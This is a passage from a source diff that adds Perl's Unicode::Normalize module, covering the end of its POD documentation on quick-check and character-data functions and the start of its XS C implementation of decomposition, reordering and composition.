+If you have an array of C<@string> that should be concatenated and then
+normalized, you can do like this:
+
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ $result .= normalize_partial($form, $unproc);
+ }
+ $result .= $unproc;
+ # instead of normalize($form, join('', @string))
+
+=item C<$processed = NFD_partial($unprocessed)>
+
+It does like C<normalize_partial('NFD', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=item C<$processed = NFC_partial($unprocessed)>
+
+It does like C<normalize_partial('NFC', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=item C<$processed = NFKD_partial($unprocessed)>
+
+It does like C<normalize_partial('NFKD', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=item C<$processed = NFKC_partial($unprocessed)>
+
+It does like C<normalize_partial('NFKC', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=back
+
+=head2 Quick Check
+
+(see Annex 8, UAX #15; and F<DerivedNormalizationProps.txt>)
+
+The following functions check whether the string is in that normalization form.
+
+The result returned will be one of the following:
+
+ YES The string is in that normalization form.
+ NO The string is not in that normalization form.
+ MAYBE Dubious. Maybe yes, maybe no.
+
+=over 4
+
+=item C<$result = checkNFD($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>.
+
+=item C<$result = checkNFC($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+=item C<$result = checkNFKD($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>.
+
+=item C<$result = checkNFKC($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+=item C<$result = checkFCD($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>.
+
+=item C<$result = checkFCC($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+Note: If a string is not in FCD, it must not be in FCC.
+So C<checkFCC($not_FCD_string)> should return C<NO>.
+
+=item C<$result = check($form_name, $string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+As C<$form_name>, one of the following names must be given.
+
+ 'C' or 'NFC' for Normalization Form C (UAX #15)
+ 'D' or 'NFD' for Normalization Form D (UAX #15)
+ 'KC' or 'NFKC' for Normalization Form KC (UAX #15)
+ 'KD' or 'NFKD' for Normalization Form KD (UAX #15)
+
+ 'FCD' for "Fast C or D" Form (UTN #5)
+ 'FCC' for "Fast C Contiguous" (UTN #5)
+
+=back
+
+B<Note>
+
+In the cases of NFD, NFKD, and FCD, the answer must be
+either C<YES> or C<NO>. The answer C<MAYBE> may be returned
+in the cases of NFC, NFKC, and FCC.
+
+A C<MAYBE> string should contain at least one combining character
+or the like. For example, C<COMBINING ACUTE ACCENT> has
+the MAYBE_NFC/MAYBE_NFKC property.
+
+Both C<checkNFC("A\N{COMBINING ACUTE ACCENT}")>
+and C<checkNFC("B\N{COMBINING ACUTE ACCENT}")> will return C<MAYBE>.
+C<"A\N{COMBINING ACUTE ACCENT}"> is not in NFC
+(its NFC is C<"\N{LATIN CAPITAL LETTER A WITH ACUTE}">),
+while C<"B\N{COMBINING ACUTE ACCENT}"> is in NFC.
+
+If you want to check exactly, compare the string with its NFC/NFKC/FCC.
+
+ if ($string eq NFC($string)) {
+ # $string is exactly normalized in NFC;
+ } else {
+ # $string is not normalized in NFC;
+ }
+
+ if ($string eq NFKC($string)) {
+ # $string is exactly normalized in NFKC;
+ } else {
+ # $string is not normalized in NFKC;
+ }
+
+=head2 Character Data
+
+These functions are interface of character data used internally.
+If you want only to get Unicode normalization forms, you don't need
+call them yourself.
+
+=over 4
+
+=item C<$canonical_decomposition = getCanon($code_point)>
+
+If the character is canonically decomposable (including Hangul Syllables),
+it returns the (full) canonical decomposition as a string.
+Otherwise it returns C<undef>.
+
+B<Note:> According to the Unicode standard, the canonical decomposition
+of the character that is not canonically decomposable is same as
+the character itself.
+
+=item C<$compatibility_decomposition = getCompat($code_point)>
+
+If the character is compatibility decomposable (including Hangul Syllables),
+it returns the (full) compatibility decomposition as a string.
+Otherwise it returns C<undef>.
+
+B<Note:> According to the Unicode standard, the compatibility decomposition
+of the character that is not compatibility decomposable is same as
+the character itself.
+
+=item C<$code_point_composite = getComposite($code_point_here, $code_point_next)>
+
+If two characters here and next (as code points) are composable
+(including Hangul Jamo/Syllables and Composition Exclusions),
+it returns the code point of the composite.
+
+If they are not composable, it returns C<undef>.
+
+=item C<$combining_class = getCombinClass($code_point)>
+
+It returns the combining class (as an integer) of the character.
+
+=item C<$may_be_composed_with_prev_char = isComp2nd($code_point)>
+
+It returns a boolean whether the character of the specified codepoint
+may be composed with the previous one in a certain composition
+(including Hangul Compositions, but excluding
+Composition Exclusions and Non-Starter Decompositions).
+
+=item C<$is_exclusion = isExclusion($code_point)>
+
+It returns a boolean whether the code point is a composition exclusion.
+
+=item C<$is_singleton = isSingleton($code_point)>
+
+It returns a boolean whether the code point is a singleton
+
+=item C<$is_non_starter_decomposition = isNonStDecomp($code_point)>
+
+It returns a boolean whether the code point has Non-Starter Decomposition.
+
+=item C<$is_Full_Composition_Exclusion = isComp_Ex($code_point)>
+
+It returns a boolean of the derived property Comp_Ex
+(Full_Composition_Exclusion). This property is generated from
+Composition Exclusions + Singletons + Non-Starter Decompositions.
+
+=item C<$NFD_is_NO = isNFD_NO($code_point)>
+
+It returns a boolean of the derived property NFD_NO
+(NFD_Quick_Check=No).
+
+=item C<$NFC_is_NO = isNFC_NO($code_point)>
+
+It returns a boolean of the derived property NFC_NO
+(NFC_Quick_Check=No).
+
+=item C<$NFC_is_MAYBE = isNFC_MAYBE($code_point)>
+
+It returns a boolean of the derived property NFC_MAYBE
+(NFC_Quick_Check=Maybe).
+
+=item C<$NFKD_is_NO = isNFKD_NO($code_point)>
+
+It returns a boolean of the derived property NFKD_NO
+(NFKD_Quick_Check=No).
+
+=item C<$NFKC_is_NO = isNFKC_NO($code_point)>
+
+It returns a boolean of the derived property NFKC_NO
+(NFKC_Quick_Check=No).
+
+=item C<$NFKC_is_MAYBE = isNFKC_MAYBE($code_point)>
+
+It returns a boolean of the derived property NFKC_MAYBE
+(NFKC_Quick_Check=Maybe).
+
+=back
+
+=head1 EXPORT
+
+C<NFC>, C<NFD>, C<NFKC>, C<NFKD>: by default.
+
+C<normalize> and other some functions: on request.
+
+=head1 CAVEATS
+
+=over 4
+
+=item Perl's version vs. Unicode version
+
+Since this module refers to perl core's Unicode database in the directory
+F</lib/unicore> (or formerly F</lib/unicode>), the Unicode version of
+normalization implemented by this module depends on what has been
+compiled into your perl. The following table lists the default Unicode
+version that comes with various perl versions. (It is possible to change
+the Unicode version in any perl version to be any earlier Unicode version,
+so one could cause Unicode 3.2 to be used in any perl version starting with
+5.8.0. Read F<C<$Config{privlib}>/unicore/README.perl> for details.
+
+ perl's version implemented Unicode version
+ 5.6.1 3.0.1
+ 5.7.2 3.1.0
+ 5.7.3 3.1.1 (normalization is same as 3.1.0)
+ 5.8.0 3.2.0
+ 5.8.1-5.8.3 4.0.0
+ 5.8.4-5.8.6 4.0.1 (normalization is same as 4.0.0)
+ 5.8.7-5.8.8 4.1.0
+ 5.10.0 5.0.0
+ 5.8.9, 5.10.1 5.1.0
+ 5.12.x 5.2.0
+ 5.14.x 6.0.0
+ 5.16.x 6.1.0
+ 5.18.x 6.2.0
+ 5.20.x 6.3.0
+ 5.22.x 7.0.0
+
+=item Correction of decomposition mapping
+
+In older Unicode versions, a small number of characters (all of which are
+CJK compatibility ideographs as far as they have been found) may have
+an erroneous decomposition mapping (see F<NormalizationCorrections.txt>).
+Anyhow, this module will neither refer to F<NormalizationCorrections.txt>
+nor provide any specific version of normalization. Therefore this module
+running on an older perl with an older Unicode database may use
+the erroneous decomposition mapping blindly conforming to the Unicode database.
+
+=item Revised definition of canonical composition
+
+In Unicode 4.1.0, the definition D2 of canonical composition (which
+affects NFC and NFKC) has been changed (see Public Review Issue #29
+and recent UAX #15). This module has used the newer definition
+since the version 0.07 (Oct 31, 2001).
+This module will not support the normalization according to the older
+definition, even if the Unicode version implemented by perl is
+lower than 4.1.0.
+
+=back
+
+=head1 AUTHOR
+
+SADAHIRO Tomoyuki <SADAHIRO@cpan.org>
+
+Currently maintained by <perl5-porters@perl.org>
+
+Copyright(C) 2001-2012, SADAHIRO Tomoyuki. Japan. All rights reserved.
+
+=head1 LICENSE
+
+This module is free software; you can redistribute it
+and/or modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+=over 4
+
+=item http://www.unicode.org/reports/tr15/
+
+Unicode Normalization Forms - UAX #15
+
+=item http://www.unicode.org/Public/UNIDATA/CompositionExclusions.txt
+
+Composition Exclusion Table
+
+=item http://www.unicode.org/Public/UNIDATA/DerivedNormalizationProps.txt
+
+Derived Normalization Properties
+
+=item http://www.unicode.org/Public/UNIDATA/NormalizationCorrections.txt
+
+Normalization Corrections
+
+=item http://www.unicode.org/review/pr-29.html
+
+Public Review Issue #29: Normalization Issue
+
+=item http://www.unicode.org/notes/tn5/
+
+Canonical Equivalence in Applications - UTN #5
+
+=back
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs
new file mode 100644
index 00000000000..4acff7fe490
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs
@@ -0,0 +1,925 @@
+
+#define PERL_NO_GET_CONTEXT /* we want efficiency */
+
+/* private functions which need pTHX_ and aTHX_
+ pv_cat_decompHangul
+ sv_2pvunicode
+ pv_utf8_decompose
+ pv_utf8_reorder
+ pv_utf8_compose
+*/
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+/* These 5 files are prepared by mkheader */
+#include "unfcmb.h"
+#include "unfcan.h"
+#include "unfcpt.h"
+#include "unfcmp.h"
+#include "unfexc.h"
+
+/* The generated normalization tables since v5.20 are in native character set
+ * terms. Prior to that, they were in Unicode terms. So we use 'uvchr' for
+ * later perls, and redefine that to be 'uvuni' for earlier ones */
+#if PERL_VERSION < 20
+# undef uvchr_to_utf8
+# ifdef uvuni_to_utf8
+# define uvchr_to_utf8 uvuni_to_utf8
+# else /* Perl 5.6.1 */
+# define uvchr_to_utf8 uv_to_utf8
+# endif
+
+# undef utf8n_to_uvchr
+# ifdef utf8n_to_uvuni
+# define utf8n_to_uvchr utf8n_to_uvuni
+# else /* Perl 5.6.1 */
+# define utf8n_to_uvchr utf8_to_uv
+# endif
+#endif
+
+/* UTF8_ALLOW_BOM is used before Perl 5.8.0 */
+#ifndef UTF8_ALLOW_BOM
+#define UTF8_ALLOW_BOM (0)
+#endif /* UTF8_ALLOW_BOM */
+
+#ifndef UTF8_ALLOW_SURROGATE
+#define UTF8_ALLOW_SURROGATE (0)
+#endif /* UTF8_ALLOW_SURROGATE */
+
+#ifndef UTF8_ALLOW_FE_FF
+#define UTF8_ALLOW_FE_FF (0)
+#endif /* UTF8_ALLOW_FE_FF */
+
+#ifndef UTF8_ALLOW_FFFF
+#define UTF8_ALLOW_FFFF (0)
+#endif /* UTF8_ALLOW_FFFF */
+
+#ifndef PERL_UNUSED_VAR
+# define PERL_UNUSED_VAR(x) ((void)sizeof(x))
+#endif
+
+#define AllowAnyUTF (UTF8_ALLOW_SURROGATE|UTF8_ALLOW_BOM|UTF8_ALLOW_FE_FF|UTF8_ALLOW_FFFF)
+
+/* check if the string buffer is enough before uvchr_to_utf8(). */
+/* dstart, d, and dlen should be defined outside before. */
+#define Renew_d_if_not_enough_to(need) STRLEN curlen = d - dstart; \
+ if (dlen < curlen + (need)) { \
+ dlen += (need); \
+ Renew(dstart, dlen+1, U8); \
+ d = dstart + curlen; \
+ }
+
+/* if utf8n_to_uvchr() sets retlen to 0 (if broken?) */
+#define ErrRetlenIsZero "panic (Unicode::Normalize %s): zero-length character"
+
+/* utf8_hop() hops back before start. Maybe broken UTF-8 */
+#define ErrHopBeforeStart "panic (Unicode::Normalize): hopping before start"
+
+/* At present, char > 0x10ffff are unaffected without complaint, right? */
+#define VALID_UTF_MAX (0x10ffff)
+#define OVER_UTF_MAX(uv) (VALID_UTF_MAX < (uv))
+
+/* size of array for combining characters */
+/* enough as an initial value? */
+#define CC_SEQ_SIZE (10)
+#define CC_SEQ_STEP (5)
+
+/* HANGUL begin */
+#define Hangul_SBase 0xAC00
+#define Hangul_SFinal 0xD7A3
+#define Hangul_SCount 11172
+
+#define Hangul_NCount 588
+
+#define Hangul_LBase 0x1100
+#define Hangul_LFinal 0x1112
+#define Hangul_LCount 19
+
+#define Hangul_VBase 0x1161
+#define Hangul_VFinal 0x1175
+#define Hangul_VCount 21
+
+#define Hangul_TBase 0x11A7
+#define Hangul_TFinal 0x11C2
+#define Hangul_TCount 28
+
+#define Hangul_IsS(u) ((Hangul_SBase <= (u)) && ((u) <= Hangul_SFinal))
+#define Hangul_IsN(u) (((u) - Hangul_SBase) % Hangul_TCount == 0)
+#define Hangul_IsLV(u) (Hangul_IsS(u) && Hangul_IsN(u))
+#define Hangul_IsL(u) ((Hangul_LBase <= (u)) && ((u) <= Hangul_LFinal))
+#define Hangul_IsV(u) ((Hangul_VBase <= (u)) && ((u) <= Hangul_VFinal))
+#define Hangul_IsT(u) ((Hangul_TBase < (u)) && ((u) <= Hangul_TFinal))
+/* HANGUL end */
+
+/* this is used for canonical ordering of combining characters (c.c.). */
+typedef struct {
+ U8 cc; /* combining class */
+ UV uv; /* codepoint */
+ STRLEN pos; /* position */
+} UNF_cc;
+
+static int compare_cc(const void *a, const void *b)
+{
+ int ret_cc;
+ ret_cc = ((UNF_cc*) a)->cc - ((UNF_cc*) b)->cc;
+ if (ret_cc)
+ return ret_cc;
+
+ return ( ((UNF_cc*) a)->pos > ((UNF_cc*) b)->pos )
+ - ( ((UNF_cc*) a)->pos < ((UNF_cc*) b)->pos );
+}
+
+static U8* dec_canonical(UV uv)
+{
+ U8 ***plane, **row;
+ if (OVER_UTF_MAX(uv))
+ return NULL;
+ plane = (U8***)UNF_canon[uv >> 16];
+ if (! plane)
+ return NULL;
+ row = plane[(uv >> 8) & 0xff];
+ return row ? row[uv & 0xff] : NULL;
+}
+
+static U8* dec_compat(UV uv)
+{
+ U8 ***plane, **row;
+ if (OVER_UTF_MAX(uv))
+ return NULL;
+ plane = (U8***)UNF_compat[uv >> 16];
+ if (! plane)
+ return NULL;
+ row = plane[(uv >> 8) & 0xff];
+ return row ? row[uv & 0xff] : NULL;
+}
+
+static UV composite_uv(UV uv, UV uv2)
+{
+ UNF_complist ***plane, **row, *cell, *i;
+
+ if (!uv2 || OVER_UTF_MAX(uv) || OVER_UTF_MAX(uv2))
+ return 0;
+
+ if (Hangul_IsL(uv) && Hangul_IsV(uv2)) {
+ UV lindex = uv - Hangul_LBase;
+ UV vindex = uv2 - Hangul_VBase;
+ return(Hangul_SBase + (lindex * Hangul_VCount + vindex) *
+ Hangul_TCount);
+ }
+ if (Hangul_IsLV(uv) && Hangul_IsT(uv2)) {
+ UV tindex = uv2 - Hangul_TBase;
+ return(uv + tindex);
+ }
+ plane = UNF_compos[uv >> 16];
+ if (! plane)
+ return 0;
+ row = plane[(uv >> 8) & 0xff];
+ if (! row)
+ return 0;
+ cell = row[uv & 0xff];
+ if (! cell)
+ return 0;
+ for (i = cell; i->nextchar; i++) {
+ if (uv2 == i->nextchar)
+ return i->composite;
+ }
+ return 0;
+}
+
+static U8 getCombinClass(UV uv)
+{
+ U8 **plane, *row;
+ if (OVER_UTF_MAX(uv))
+ return 0;
+ plane = (U8**)UNF_combin[uv >> 16];
+ if (! plane)
+ return 0;
+ row = plane[(uv >> 8) & 0xff];
+ return row ? row[uv & 0xff] : 0;
+}
+
+static U8* pv_cat_decompHangul(pTHX_ U8* d, UV uv)
+{
+ UV sindex = uv - Hangul_SBase;
+ UV lindex = sindex / Hangul_NCount;
+ UV vindex = (sindex % Hangul_NCount) / Hangul_TCount;
+ UV tindex = sindex % Hangul_TCount;
+
+ if (! Hangul_IsS(uv))
+ return d;
+
+ d = uvchr_to_utf8(d, (lindex + Hangul_LBase));
+ d = uvchr_to_utf8(d, (vindex + Hangul_VBase));
+ if (tindex)
+ d = uvchr_to_utf8(d, (tindex + Hangul_TBase));
+ return d;
+}
+
+static char* sv_2pvunicode(pTHX_ SV *sv, STRLEN *lp)
+{
+ char *s;
+ STRLEN len;
+ s = SvPV(sv,len);
+ if (!SvUTF8(sv)) {
+ SV* tmpsv = sv_2mortal(newSVpvn(s, len));
+ if (!SvPOK(tmpsv))
+ s = SvPV_force(tmpsv,len);
+ sv_utf8_upgrade(tmpsv);
+ s = SvPV(tmpsv,len);
+ }
+ if (lp)
+ *lp = len;
+ return s;
+}
+
+static
+U8* pv_utf8_decompose(pTHX_ U8* s, STRLEN slen, U8** dp, STRLEN dlen, bool iscompat)
+{
+ U8* p = s;
+ U8* e = s + slen;
+ U8* dstart = *dp;
+ U8* d = dstart;
+
+ while (p < e) {
+ STRLEN retlen;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "decompose");
+ p += retlen;
+
+ if (Hangul_IsS(uv)) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN * 3)
+ d = pv_cat_decompHangul(aTHX_ d, uv);
+ }
+ else {
+ U8* r = iscompat ? dec_compat(uv) : dec_canonical(uv);
+
+ if (r) {
+ STRLEN len = (STRLEN)strlen((char *)r);
+ Renew_d_if_not_enough_to(len)
+ while (len--)
+ *d++ = *r++;
+ }
+ else {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uv);
+ }
+ }
+ }
+ *dp = dstart;
+ return d;
+}
+
+static
+U8* pv_utf8_reorder(pTHX_ U8* s, STRLEN slen, U8** dp, STRLEN dlen)
+{
+ U8* p = s;
+ U8* e = s + slen;
+ U8* dstart = *dp;
+ U8* d = dstart;
+
+ UNF_cc seq_ary[CC_SEQ_SIZE];
+ UNF_cc* seq_ptr = seq_ary; /* use array at the beginning */
+ UNF_cc* seq_ext = NULL; /* extend if need */
+ STRLEN seq_max = CC_SEQ_SIZE;
+ STRLEN cc_pos = 0;
+
+ while (p < e) {
+ U8 curCC;
+ STRLEN retlen;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "reorder");
+ p += retlen;
+
+ curCC = getCombinClass(uv);
+
+ if (curCC != 0) {
+ if (seq_max < cc_pos + 1) { /* extend if need */
+ seq_max = cc_pos + CC_SEQ_STEP; /* new size */
+ if (CC_SEQ_SIZE == cc_pos) { /* seq_ary full */
+ STRLEN i;
+ New(0, seq_ext, seq_max, UNF_cc);
+ for (i = 0; i < cc_pos; i++)
+ seq_ext[i] = seq_ary[i];
+ }
+ else {
+ Renew(seq_ext, seq_max, UNF_cc);
+ }
+ seq_ptr = seq_ext; /* use seq_ext from now */
+ }
+
+ seq_ptr[cc_pos].cc = curCC;
+ seq_ptr[cc_pos].uv = uv;
+ seq_ptr[cc_pos].pos = cc_pos;
+ ++cc_pos;
+
+ if (p < e)
+ continue;
+ }
+
+ /* output */
+ if (cc_pos) {
+ STRLEN i;
+
+ if (cc_pos > 1) /* reordered if there are two c.c.'s */
+ qsort((void*)seq_ptr, cc_pos, sizeof(UNF_cc), compare_cc);
+
+ for (i = 0; i < cc_pos; i++) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, seq_ptr[i].uv);
+ }
+ cc_pos = 0;
+ }
+
+ if (curCC == 0) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uv);
+ }
+ }
+ if (seq_ext)
+ Safefree(seq_ext);
+ *dp = dstart;
+ return d;
+}
+
+static
+U8* pv_utf8_compose(pTHX_ U8* s, STRLEN slen, U8** dp, STRLEN dlen, bool iscontig)
+{
+ U8* p = s;
+ U8* e = s + slen;
+ U8* dstart = *dp;
+ U8* d = dstart;
+
+ UV uvS = 0; /* code point of the starter */
+ bool valid_uvS = FALSE; /* if FALSE, uvS isn't initialized yet */
+ U8 preCC = 0;
+
+ UV seq_ary[CC_SEQ_SIZE];
+ UV* seq_ptr = seq_ary; /* use array at the beginning */
+ UV* seq_ext = NULL; /* extend if need */
+ STRLEN seq_max = CC_SEQ_SIZE;
+ STRLEN cc_pos = 0;
+
+ while (p < e) {
+ U8 curCC;
+ STRLEN retlen;
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "compose");
+ p += retlen;
+
+ curCC = getCombinClass(uv);
+
+ if (!valid_uvS) {
+ if (curCC == 0) {
+ uvS = uv; /* the first Starter is found */
+ valid_uvS = TRUE;
+ if (p < e)
+ continue;
+ }
+ else {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uv);
+ continue;
+ }
+ }
+ else {
+ bool composed;
+
+ /* blocked */
+ if ((iscontig && cc_pos) || /* discontiguous combination */
+ (curCC != 0 && preCC == curCC) || /* blocked by same CC */
+ (preCC > curCC)) /* blocked by higher CC: revised D2 */
+ composed = FALSE;
+
+ /* not blocked:
+ iscontig && cc_pos == 0 -- contiguous combination
+ curCC == 0 && preCC == 0 -- starter + starter
+ curCC != 0 && preCC < curCC -- lower CC */
+ else {
+ /* try composition */
+ UV uvComp = composite_uv(uvS, uv);
+
+ if (uvComp && !isExclusion(uvComp)) {
+ uvS = uvComp;
+ composed = TRUE;
+
+ /* preCC should not be changed to curCC */
+ /* e.g. 1E14 = 0045 0304 0300 where CC(0304) == CC(0300) */
+ if (p < e)
+ continue;
+ }
+ else
+ composed = FALSE;
+ }
+
+ if (!composed) {
+ preCC = curCC;
+ if (curCC != 0 || !(p < e)) {
+ if (seq_max < cc_pos + 1) { /* extend if need */
+ seq_max = cc_pos + CC_SEQ_STEP; /* new size */
+ if (CC_SEQ_SIZE == cc_pos) { /* seq_ary full */
+ New(0, seq_ext, seq_max, UV);
+ Copy(seq_ary, seq_ext, cc_pos, UV);
+ }
+ else {
+ Renew(seq_ext, seq_max, UV);
+ }
+ seq_ptr = seq_ext; /* use seq_ext from now */
+ }
+ seq_ptr[cc_pos] = uv;
+ ++cc_pos;
+ }
+ if (curCC != 0 && p < e)
+ continue;
+ }
+ }
+
+ /* output */
+ {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, uvS); /* starter (composed or not) */
+ }
+
+ if (cc_pos) {
+ STRLEN i;
+
+ for (i = 0; i < cc_pos; i++) {
+ Renew_d_if_not_enough_to(UTF8_MAXLEN)
+ d = uvchr_to_utf8(d, seq_ptr[i]);
+ }
+ cc_pos = 0;
+ }
+
+ uvS = uv;
+ }
+ if (seq_ext)
+ Safefree(seq_ext);
+ *dp = dstart;
+ return d;
+}
+
+MODULE = Unicode::Normalize PACKAGE = Unicode::Normalize
+
+SV*
+decompose(src, compat = &PL_sv_no)
+ SV * src
+ SV * compat
+ PROTOTYPE: $;$
+ PREINIT:
+ SV* dst;
+ U8 *s, *d, *dend;
+ STRLEN slen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+ dst = newSVpvn("", 0);
+ dlen = slen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_decompose(aTHX_ s, slen, &d, dlen, (bool)SvTRUE(compat));
+ sv_setpvn(dst, (char *)d, dend - d);
+ SvUTF8_on(dst);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+reorder(src)
+ SV * src
+ PROTOTYPE: $
+ PREINIT:
+ SV* dst;
+ U8 *s, *d, *dend;
+ STRLEN slen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+ dst = newSVpvn("", 0);
+ dlen = slen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_reorder(aTHX_ s, slen, &d, dlen);
+ sv_setpvn(dst, (char *)d, dend - d);
+ SvUTF8_on(dst);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+compose(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ composeContiguous = 1
+ PREINIT:
+ SV* dst;
+ U8 *s, *d, *dend;
+ STRLEN slen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+ dst = newSVpvn("", 0);
+ dlen = slen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_compose(aTHX_ s, slen, &d, dlen, (bool)ix);
+ sv_setpvn(dst, (char *)d, dend - d);
+ SvUTF8_on(dst);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+NFD(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ NFKD = 1
+ PREINIT:
+ SV *dst;
+ U8 *s, *t, *tend, *d, *dend;
+ STRLEN slen, tlen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+
+ /* decompose */
+ tlen = slen;
+ New(0, t, tlen+1, U8);
+ tend = pv_utf8_decompose(aTHX_ s, slen, &t, tlen, (bool)(ix==1));
+ *tend = '\0';
+ tlen = tend - t; /* no longer know real size of t */
+
+ /* reorder */
+ dlen = tlen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_reorder(aTHX_ t, tlen, &d, dlen);
+ *dend = '\0';
+ dlen = dend - d; /* no longer know real size of d */
+
+ /* return */
+ dst = newSVpvn("", 0);
+ sv_setpvn(dst, (char *)d, dlen);
+ SvUTF8_on(dst);
+
+ Safefree(t);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+NFC(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ NFKC = 1
+ FCC = 2
+ PREINIT:
+ SV *dst;
+ U8 *s, *t, *tend, *u, *uend, *d, *dend;
+ STRLEN slen, tlen, ulen, dlen;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&slen);
+
+ /* decompose */
+ tlen = slen;
+ New(0, t, tlen+1, U8);
+ tend = pv_utf8_decompose(aTHX_ s, slen, &t, tlen, (bool)(ix==1));
+ *tend = '\0';
+ tlen = tend - t; /* no longer know real size of t */
+
+ /* reorder */
+ ulen = tlen;
+ New(0, u, ulen+1, U8);
+ uend = pv_utf8_reorder(aTHX_ t, tlen, &u, ulen);
+ *uend = '\0';
+ ulen = uend - u; /* no longer know real size of u */
+
+ /* compose */
+ dlen = ulen;
+ New(0, d, dlen+1, U8);
+ dend = pv_utf8_compose(aTHX_ u, ulen, &d, dlen, (bool)(ix==2));
+ *dend = '\0';
+ dlen = dend - d; /* no longer know real size of d */
+
+ /* return */
+ dst = newSVpvn("", 0);
+ sv_setpvn(dst, (char *)d, dlen);
+ SvUTF8_on(dst);
+
+ Safefree(t);
+ Safefree(u);
+ Safefree(d);
+ RETVAL = dst;
+ OUTPUT:
+ RETVAL
+
+
+SV*
+checkNFD(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ checkNFKD = 1
+ PREINIT:
+ STRLEN srclen, retlen;
+ U8 *s, *e, *p, curCC, preCC;
+ bool result = TRUE;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+
+ preCC = 0;
+ for (p = s; p < e; p += retlen) {
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "checkNFD or -NFKD");
+
+ curCC = getCombinClass(uv);
+ if (preCC > curCC && curCC != 0) { /* canonical ordering violated */
+ result = FALSE;
+ break;
+ }
+ if (Hangul_IsS(uv) || (ix ? dec_compat(uv) : dec_canonical(uv))) {
+ result = FALSE;
+ break;
+ }
+ preCC = curCC;
+ }
+ RETVAL = boolSV(result);
+ OUTPUT:
+ RETVAL
+
+
+SV*
+checkNFC(src)
+ SV * src
+ PROTOTYPE: $
+ ALIAS:
+ checkNFKC = 1
+ PREINIT:
+ STRLEN srclen, retlen;
+ U8 *s, *e, *p, curCC, preCC;
+ bool result = TRUE;
+ bool isMAYBE = FALSE;
+ CODE:
+ s = (U8*)sv_2pvunicode(aTHX_ src,&srclen);
+ e = s + srclen;
+
+ preCC = 0;
+ for (p = s; p < e; p += retlen) {
+ UV uv = utf8n_to_uvchr(p, e - p, &retlen, AllowAnyUTF);
+ if (!retlen)
+ croak(ErrRetlenIsZero, "checkNFC or -NFKC");
+
+ curCC = getCombinClass(uv);
+ if (preCC > curCC && curCC != 0) { /* canonical ordering violated */
+ result = FALSE;
+ break;
+ }
+
+ /* get NFC/NFKC property */
+ if (Hangul_IsS(uv)) /* Hangul syllables are canonical composites */
+ ; /* YES */
+ else if (isExclusion(uv) || isSingleton(uv) || isNonStDecomp(uv)) {
+ result = FALSE;
+ break;
+ }
+ else if (isComp2nd(uv))
+ isMAYBE = TRUE;
+ else if (ix) {
+ char *canon, *compat;
+ /* NFKC_NO when having compatibility mapping. */
+ canon = (char *) dec_canonical(uv);
+ compat = (char *) dec_compat(uv);
+ if (compat && !(canon && strEQ(canon, compat))) {
+ result = FALSE;
+ break;
+ }
+ } /* end of get NFC/NFKC property */
+
+ preCC = curCC;
+ }
+ if (isMAYBE && result) /* NO precedes MAYBE */
+ XSRETURN_UNDEF;
